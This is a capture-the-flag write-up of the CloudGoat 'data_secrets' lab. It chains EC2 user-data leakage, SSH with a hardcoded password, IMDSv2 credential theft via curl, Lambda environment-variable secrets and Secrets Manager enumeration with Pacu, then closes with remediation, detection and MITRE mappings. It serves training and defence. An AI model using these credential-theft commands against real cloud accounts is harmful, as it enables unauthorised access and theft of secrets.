🄷 CloudGoat: Data Secrets

Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

šŸ“… 2026-02-19

🧭 Overview

Scenario: data_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: Pacu + AWS CLI + SSH
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.

āš”ļø Attack Path Summary

Limited User → EC2 Enum → User Data Leak → SSH Access → IMDS Token Theft → Lambda Enum → DB Credentials → Secrets Manager → Flag

šŸ”‘ Phase 1: Initial Access

Configure Profile

aws configure --profile data_secrets # Access Key: AKIA**************** # Secret Key: dHQo/hANNyGHxSCBhOmN********************

Validate Credentials

aws sts get-caller-identity --profile data_secrets
{ "UserId": "AIDA****************", "Account": "7912********", "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh" }

šŸ”Ž Phase 2: IAM Enumeration

Launch Pacu and Import Keys

pacu
Pacu > import_keys data_secrets

Enumerate Permissions

Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] Enumerated IAM Permissions: [iam__bruteforce_permissions] ec2.describe_instances() worked! [iam__bruteforce_permissions] ec2.describe_tags() worked! [iam__bruteforce_permissions] dynamodb.describe_endpoints() worked! [iam__bruteforce_permissions] sts.get_session_token() worked! [iam__bruteforce_permissions] sts.get_caller_identity() worked! [iam__bruteforce_permissions] MODULE SUMMARY: Num of IAM permissions found: 5

View Confirmed Permissions

Pacu > whoami
{ "UserName": "cg-start-user-cgido7xwddyilh", "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh", "Permissions": { "Allow": [ "ec2:DescribeTags", "ec2:DescribeInstances", "sts:GetSessionToken", "sts:GetCallerIdentity", "dynamodb:DescribeEndpoints" ] } }

Key Findings

ServicePermissionsNote
EC2DescribeInstances, DescribeTagsCan enumerate EC2 instances and metadata
STSGetCallerIdentity, GetSessionTokenCan verify identity
DynamoDBDescribeEndpointsLow impact

The ability to describe EC2 instances is the key to exploiting this scenario.

šŸ–„ļø Phase 3: EC2 Enumeration and User Data Extraction

Discover EC2 Instances

Pacu > run ec2__enum --region us-east-1
[ec2__enum] 1 instance(s) found. [ec2__enum] 1 public IP address(es) found and added to text file

Extract Public IP

Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt

Public IP: 13.***.***.***

Download User Data

Pacu > help ec2__download_userdata Pacu > run ec2__download_userdata

Select target region when prompted: us-east-1

View User Data Content

Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/

#!/bin/bash echo "ec2-user:CloudGoatInstancePassword!" | chpasswd sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config service sshd restart

Critical Findings

ArtifactValue
EC2 Instance IDi-0827322ea4150fec3
Public IP13.***.***.***
SSH Usernameec2-user
SSH PasswordCloudGoatInstancePassword!

The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.

šŸ” Phase 4: SSH Access and IMDS Token Theft

Connect to EC2 Instance

ssh ec2-user@13.***.***.*** # Password: CloudGoatInstancePassword!

Get IMDSv2 Token

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Retrieve IAM Role Name

ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/) echo $ROLE_NAME

Output: cg-ec2-role-cgido7xwddyilh

Steal Temporary Credentials

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
{ "Code": "Success", "AccessKeyId": "ASIA****************", "SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************", "Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..." }

Configure EC2 Role Profile

aws configure --profile ec2_profile # Access Key: ASIA**************** # Secret Key: f7vFfkcw9iuwNF2mOYPz******************** # Session Token: (paste the full token)

Validate EC2 Role Credentials

aws sts get-caller-identity --profile ec2_profile
{ "UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3", "Account": "7912********", "Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3" }

Critical Findings

ArtifactValue
Temporary Access KeyASIA****************
Temporary Secret Keyf7vFfkcw9iuwNF2mOYPzjwe********************
Session Token(Long-lived temporary credential)

Successfully escalated from IAM user to EC2 instance role.

šŸ“Š Phase 5: Enumerate EC2 Role Permissions

Import EC2 Profile to Pacu

pacu
Pacu > import_keys ec2_profile Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked! [iam__bruteforce_permissions] sts.get_caller_identity() worked! [iam__bruteforce_permissions] lambda.list_functions() worked! [iam__bruteforce_permissions] MODULE SUMMARY: Num of IAM permissions found: 3

View EC2 Role Permissions

Pacu > whoami
{ "AccessKeyId": "ASIA****************", "Permissions": { "Allow": [ "dynamodb:DescribeEndpoints", "sts:GetCallerIdentity", "lambda:ListFunctions" ] } }

Key Finding

The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.

šŸ” Phase 6: Lambda Enumeration and Credential Discovery

List Lambda Functions

Pacu > search lambda Pacu > help lambda__enum Pacu > run lambda__enum --region us-east-1
[lambda__enum] Enumerating data for cg-lambda-function-cgido7xwddyilh [+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA**************** [+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv******************** [lambda__enum] 1 functions found in us-east-1

Critical Findings

Environment VariableValue
DB_USER_ACCESS_KEYAKIA****************
DB_USER_SECRET_KEY`zHq6/a2/cotXfMhK2bvv/py********************

The Lambda function's environment variables contain hardcoded AWS credentials for a database user.

šŸ’¾ Phase 7: Final Privilege Escalation via Lambda Credentials

Configure Lambda User Profile

aws configure --profile lambda_profile # Access Key: AKIA**************** # Secret Key: zHq6/a2/cotXfMhK2bvv********************

Enumerate Lambda User Permissions

pacu
Pacu > import_keys lambda_profile Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked! [iam__bruteforce_permissions] secretsmanager.list_secrets() worked! [iam__bruteforce_permissions] sts.get_session_token() worked! [iam__bruteforce_permissions] sts.get_caller_identity() worked! [iam__bruteforce_permissions] MODULE SUMMARY: Num of IAM permissions found: 4

View Lambda User Permissions

Pacu > whoami
{ "UserName": "cg-lambda-user-cgido7xwddyilh", "Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh", "Permissions": { "Allow": [ "dynamodb:DescribeEndpoints", "sts:GetSessionToken", "sts:GetCallerIdentity", "secretsmanager:ListSecrets" ] } }

Key Finding

The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.

🚩 Phase 8: Capture the Flag

List Secrets Manager Secrets

Pacu > search secret Pacu > help secrets__enum Pacu > run secrets__enum --region us-east-1
[secrets__enum] Starting region us-east-1... [secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh [secrets__enum] 1 Secret(s) were found in AWS secretsmanager

Retrieve the Flag

cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}

Flag: d4t4_s3cr3ts_4r3_fun

šŸ“ Attack Chain Diagram

ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Limited IAM User │ │ (data_secrets) │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ ec2:DescribeInstances │ ec2:DescribeTags ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ EC2 Instance Found │ │ Public IP: 13.*.*.* │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ ec2__download_userdata ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ User Data Leak │ │ SSH Credentials │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ SSH ec2-user@IP ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ SSH Access Gained │ │ On EC2 Instance │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ IMDS Token (IMDSv2) │ /latest/meta-data/iam/ │ security-credentials/ ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ EC2 Role Creds │ │ Temporary Session │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ lambda:ListFunctions ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Lambda Functions │ │ Environment Vars │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ DB User Credentials │ │ Hidden in Lambda │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ secretsmanager:ListSecrets ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Secrets Manager │ │ Final Flag Found │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ FLAG │ │ d4t4_s3cr3ts_4r3_fun │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜

🚨 Vulnerabilities Exploited

#VulnerabilityCWECVSS
1Hardcoded SSH credentials in EC2 User DataCWE-7989.8
2Improper Privilege ManagementCWE-2697.5
3Hardcoded AWS credentials in Lambda environment variablesCWE-7989.8
4Overly permissive IAM role on EC2 instanceCWE-7328.2
5Insufficient access controls on Secrets ManagerCWE-7327.1

🧩 Architectural Failures

  • Trusting User Data with secrets
  • Treating Lambda environment variables as secure storage
  • Allowing credential sprawl between services
  • Over-permissioned instance role
  • No separation between compute identity and data access

šŸ’” Remediation

  1. Never store secrets in EC2 User Data

    • Use AWS Systems Manager Session Manager for remote access
    • If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager
    • Use key pairs instead of hardcoded passwords
  2. Disable or restrict IMDSv1

    # Force IMDSv2 only for new instances aws ec2 run-instances \ --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
  3. Never store AWS credentials in environment variables

    • Use IAM roles attached to resources
    • Use AWS Secrets Manager for application secrets
    • Use Parameter Store for configuration
  4. Implement least privilege for IAM roles

    { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "lambda:GetFunction", "Resource": "arn:aws:lambda:*:*:function/specific-function" } ] }
  5. Monitor and alert on suspicious activities

    • Enable CloudTrail logging for all API calls
    • Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.
    • Monitor for unusual EC2 access patterns
  6. Enable encryption for secrets at rest and in transit

    • Use KMS encryption for Secrets Manager
    • Enforce TLS for all API communications
    • Enable encryption for EC2 volumes

šŸ”Ž Detection & Monitoring Opportunities

  • CloudTrail Monitoring

    • DescribeInstances from low-privileged IAM users
    • ListFunctions from EC2 instance roles -ListSecrets and GetSecretValue from unexpected principals
  • GuardDuty Alerts

    • Instance credential exfiltration behavior
    • Unusual role assumption patterns
  • IAM Access Analyzer

    • Detect over-permissioned roles
    • Identify unused permissions
  • VPC Flow Logs

    • Monitor access to 169.254.169.254 (metadata endpoint)

šŸŽÆ MITRE ATT&CK Mapping

TacticTechniqueID
Initial AccessValid Accounts: Cloud AccountsT1078.004
DiscoveryCloud Service DiscoveryT1526
Credential AccessUnsecured Credentials: Credentials in Files / Environment VariablesT1552.001
Credential AccessCloud Instance Metadata APIT1552.005
Lateral MovementUse Alternate Authentication Material: Cloud CredentialsT1550.001
Privilege EscalationValid Accounts: Cloud AccountsT1078.004

šŸ› ļø Commands Reference

AWS CLI

# Initial enumeration aws configure --profile data_secrets aws sts get-caller-identity --profile data_secrets # EC2 enumeration aws ec2 describe-instances --profile data_secrets --region us-east-1 aws ec2 describe-tags --profile data_secrets --region us-east-1 # Configure additional profiles aws configure --profile ec2_profile aws configure --profile lambda_profile # Validate credentials aws sts get-caller-identity --profile ec2_profile aws sts get-caller-identity --profile lambda_profile

SSH and IMDS

# SSH access ssh ec2-user@<public-ip> # IMDSv2 token (within EC2 instance) TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # Get IAM role name curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Get temporary credentials curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

Pacu Commands

# Session and key management import_keys <profile> whoami swap_session # Enumeration run iam__bruteforce_permissions --region us-east-1 run ec2__enum --region us-east-1 run ec2__download_userdata run lambda__enum --region us-east-1 run secrets__enum --region us-east-1

šŸ“š Additional Resources

šŸŽ“ Key Takeaways

  1. Defense in Depth: Multiple misconfigurations were chained together to achieve full compromise
  2. Credential Leakage: Secrets stored in plain text (User Data, environment variables) are easily discovered
  3. IMDS Exposure Risk: Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.
  4. Role Enumeration: Discovering attached roles and their permissions reveals the attack surface
  5. Lateral Movement: Each compromised credential opens new exploitation paths
Share this post on: